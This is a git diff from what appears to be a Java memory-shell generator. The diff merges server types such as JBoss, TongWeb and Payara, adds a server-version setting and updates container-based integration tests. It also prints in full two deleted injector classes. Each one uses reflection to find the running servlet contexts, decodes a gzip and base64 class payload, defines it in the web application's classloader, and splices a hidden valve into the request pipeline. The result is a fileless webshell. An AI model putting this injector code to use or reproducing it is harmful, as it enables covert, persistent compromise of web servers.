diff --git a/generator/src/main/java/com/reajason/javaweb/GenerationException.java b/generator/src/main/java/com/reajason/javaweb/GenerationException.java new file mode 100644 index 00000000..0910d18b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/GenerationException.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb; + +/** + * @author ReaJason + * @since 2025/7/21 + */ +public class GenerationException extends RuntimeException { + public GenerationException(String message) { + super(message); + } + + public GenerationException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 999eae5c..24f8a7b0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -27,17 +27,14 @@ public enum Server { */ Jetty(new JettyShell()), /** - * JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS + * JBoss 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBossAS(new JbossShell()), - JBossEAP6(new JbossShell()), + JBoss(new JbossShell()), /** - * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 + * Undertow,对应是 Wildfly 以及 JBossEAP7,也有可能是 SpringBoot 用的 * JBossEAP */ Undertow(new UndertowShell()), - JBossEAP7(new UndertowShell()), - WildFly(new UndertowShell()), /** * SpringMVC 框架 @@ -68,25 +65,21 @@ public enum Server { * GlassFish 中间件 */ GlassFish(new GlassFishShell()), - Payara(new GlassFishShell()), /** - * 宝兰德中间件 + * 宝兰德中间件,9.5.2+ 企业版 */ BES(new BesShell()), /** * 东方通中间件 */ - TongWeb6(new TongWeb6Shell()), - TongWeb7(new TongWeb7Shell()), - TongWeb8(new TongWeb8Shell()), + TongWeb(new TongWebShell()), /** - * 金蝶天燕中间件 + * 金蝶天燕中间件,only 9 */ - Apusic9(new ApusicShell()), - Apusic10(new GlassFishShell()), + Apusic(new ApusicShell()), /** * 中创中间件 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index c2e4948e..0c39c8cc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -2,12 +2,12 @@ package com.reajason.javaweb.memshell.config; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import net.bytebuddy.jar.asm.Opcodes; -import org.apache.commons.lang3.StringUtils; /** * @author ReaJason @@ -21,17 +21,23 @@ public class ShellConfig { /** * 目标服务类型 */ - Server server; + private Server server; + + /** + * 目标服务版本 + */ + @Builder.Default + private String serverVersion = "unknown"; /** * 内存马功能 */ - ShellTool shellTool; + private ShellTool shellTool; /** * 内存马类型 */ - String shellType; + private String shellType; /** * 生成类的目标 JRE 版本 @@ -63,7 +69,7 @@ public class ShellConfig { public boolean isJakarta() { - return StringUtils.containsIgnoreCase(shellType, "jakarta"); + return shellType.startsWith(ShellType.JAKARTA); } public boolean needByPassJavaModule() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 9c4f9bbe..65acaf9a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -43,7 +43,7 @@ public abstract class ByteBuddyShellGenerator impleme } if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { - builder = ValveGenerator.build(builder, shell); + builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion()); } if (shellConfig.isJakarta()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java index 19735904..717b83fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell.generator; -import com.reajason.javaweb.memshell.server.*; +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.memshell.server.BesShell; +import com.reajason.javaweb.memshell.server.TongWebShell; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.field.FieldDescription; import net.bytebuddy.description.field.FieldList; @@ -27,18 +30,21 @@ public class ValveGenerator { public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; - public static DynamicType.Builder build(DynamicType.Builder builder, AbstractShell shell) { + public static DynamicType.Builder build(DynamicType.Builder builder, AbstractShell shell, String serverVersion) { String packageName = null; - if (shell instanceof TongWeb6Shell) { + if (serverVersion.equals("6")) { packageName = TONGWEB6_VALVE_PACKAGE; - } else if (shell instanceof TongWeb7Shell) { + } else if (serverVersion.equals("7")) { packageName = TONGWEB7_VALVE_PACKAGE; - } else if (shell instanceof TongWeb8Shell) { + } else if (serverVersion.equals("8")) { packageName = TONGWEB8_VALVE_PACKAGE; } else if (shell instanceof BesShell) { packageName = BES_VALVE_PACKAGE; } if (StringUtils.isEmpty(packageName)) { + if (shell instanceof TongWebShell) { + throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion"); + } return builder; } return builder.visit(new ValveRenameVisitorWrapper(packageName)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index be425c71..dad0ce31 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -2,12 +2,10 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector; -import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -27,8 +25,8 @@ public class JbossShell extends AbstractShell { return InjectorMapping.builder() .addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(FILTER, TomcatFilterInjector.class) - .addInjector(VALVE, JbossValveInjector.class) - .addInjector(PROXY_VALVE, JbossProxyValveInjector.class) + .addInjector(VALVE, GlassFishValveInjector.class) + .addInjector(PROXY_VALVE, TomcatProxyValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java deleted file mode 100644 index 5135aaec..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.reajason.javaweb.memshell.server; - -import com.reajason.javaweb.memshell.injector.tongweb.*; - -import static com.reajason.javaweb.memshell.ShellType.*; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public class TongWeb7Shell extends AbstractShell { - - @Override - public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; - } - - @Override - public InjectorMapping getShellInjectorMapping() { - return InjectorMapping.builder() - .addInjector(LISTENER, TongWebListenerInjector.class) - .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) - .addInjector(FILTER, TongWebFilterInjector.class) - .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) - .addInjector(VALVE, TongWebValveInjector.class) - .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) - .build(); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java deleted file mode 100644 index 35b91c4a..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.reajason.javaweb.memshell.server; - -import com.reajason.javaweb.memshell.injector.tongweb.*; - -import static com.reajason.javaweb.memshell.ShellType.*; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public class TongWeb8Shell extends AbstractShell { - - @Override - public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; - } - - @Override - public InjectorMapping getShellInjectorMapping() { - return InjectorMapping.builder() - .addInjector(LISTENER, TongWebListenerInjector.class) - .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) - .addInjector(FILTER, TongWebFilterInjector.class) - .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) - .addInjector(VALVE, TongWebValveInjector.class) - .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) - .build(); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java similarity index 75% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java index 67b79c26..5d99abcf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java @@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/26 */ -public class TongWeb6Shell extends AbstractShell { +public class TongWebShell extends AbstractShell { @Override public Class getListenerInterceptor() { @@ -19,11 +19,8 @@ public class TongWeb6Shell extends AbstractShell { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, TongWebListenerInjector.class) - .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) .addInjector(FILTER, TongWebFilterInjector.class) - .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(VALVE, TongWebValveInjector.class) - .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java index d70ff7df..52fbe877 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java @@ -110,8 +110,6 @@ public class CommonUtil { packageName = "org.eclipse.jetty.servlet.handlers"; break; case Undertow: - case JBossEAP7: - case WildFly: packageName = "io.undertow.servlet.handlers"; break; case SpringWebMvc: diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 43fc5646..a92051b6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -51,13 +51,9 @@ public class Jboss423ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBossAS; + Server server = Server.JBoss; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE + ShellType.PROXY_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -72,6 +68,6 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index ee7dc968..40a564d3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -50,7 +50,7 @@ public class Jboss510ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBossAS; + Server server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, @@ -74,6 +74,6 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index c8bf1450..2b85ee23 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -50,7 +50,7 @@ public class Jboss610ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBossAS; + Server server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, @@ -71,6 +71,6 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index b5a330c4..3474ae27 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -53,7 +53,7 @@ public class Jboss711ContainerTest { * 找不到 Templates 类暂时先不测试反序列化 */ static Stream casesProvider() { - Server server = Server.JBossAS; + Server server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, @@ -74,6 +74,6 @@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 7a27a80b..92c2b654 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -50,7 +50,7 @@ public class JbossEap6ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBossEAP6; + Server server = Server.JBoss; List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -68,6 +68,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index f0053855..b80c1e78 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -50,7 +50,7 @@ public class JbossEap7ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBossEAP7; + Server server = Server.Undertow; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, @@ -69,6 +69,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index a98662d2..1bc9a196 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -50,7 +50,7 @@ public class Payara5201ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Payara; + Server server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE @@ -68,6 +68,6 @@ public class Payara5201ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 2d301b53..973ea871 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -50,7 +50,7 @@ public class Payara520225ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Payara; + Server server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE @@ -68,6 +68,6 @@ public class Payara520225ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index c0e0d562..75f24a75 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -50,7 +50,7 @@ public class Payara620222ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Payara; + Server server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE @@ -68,6 +68,6 @@ public class Payara620222ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java deleted file mode 100644 index fe71a059..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java +++ /dev/null @@ -1,208 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jboss; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Method; -import java.lang.reflect.Proxy; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class JbossProxyValveInjector implements InvocationHandler { - - private Object rawValve; - private Object proxyValve; - - static { - new JbossProxyValveInjector(); - } - - public JbossProxyValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public JbossProxyValveInjector(Object rawValve, Object proxyValve) { - this.rawValve = rawValve; - this.proxyValve = proxyValve; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - @Override - public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { - if ("invoke".equals(method.getName())) { - try { - Object request = args[0]; - Object response = args[1]; - if (proxyValve.equals(new Object[]{request, response})) { - return null; - } - } catch (Throwable e) { - e.printStackTrace(); - return method.invoke(rawValve, args); - } - } - return method.invoke(rawValve, args); - } - - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - for (Object value : childrenMap.values()) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object context, Object valve) throws Exception { - Object pipeline = invokeMethod(context, "getPipeline", null, null); - ClassLoader contextClassLoader = context.getClass().getClassLoader(); - Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve"); - Object rawValve = null; - String fieldName = "first"; - try { - rawValve = getFieldValue(pipeline, fieldName); - } catch (NoSuchFieldException e) { - fieldName = "basic"; - rawValve = getFieldValue(pipeline, fieldName); - } - Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve)); - setFieldValue(pipeline, fieldName, proxyValve); - System.out.println("proxyValve inject successful"); - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - public static Field getField(Object obj, String name) throws NoSuchFieldException { - for (Class clazz = obj.getClass(); - clazz != Object.class; - clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException ignored) { - - } - } - throw new NoSuchFieldException(name); - } - - @SuppressWarnings("all") - public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { - Field field = getField(obj, name); - field.set(obj, value); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { - Field field = getField(obj, name); - return field.get(obj); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java deleted file mode 100644 index 9a609935..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java +++ /dev/null @@ -1,177 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jboss; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class JbossValveInjector { - - static { - new JbossValveInjector(); - } - - public JbossValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws Exception { - List contexts = new ArrayList(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); - } - } - } - return contexts; - } - - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { 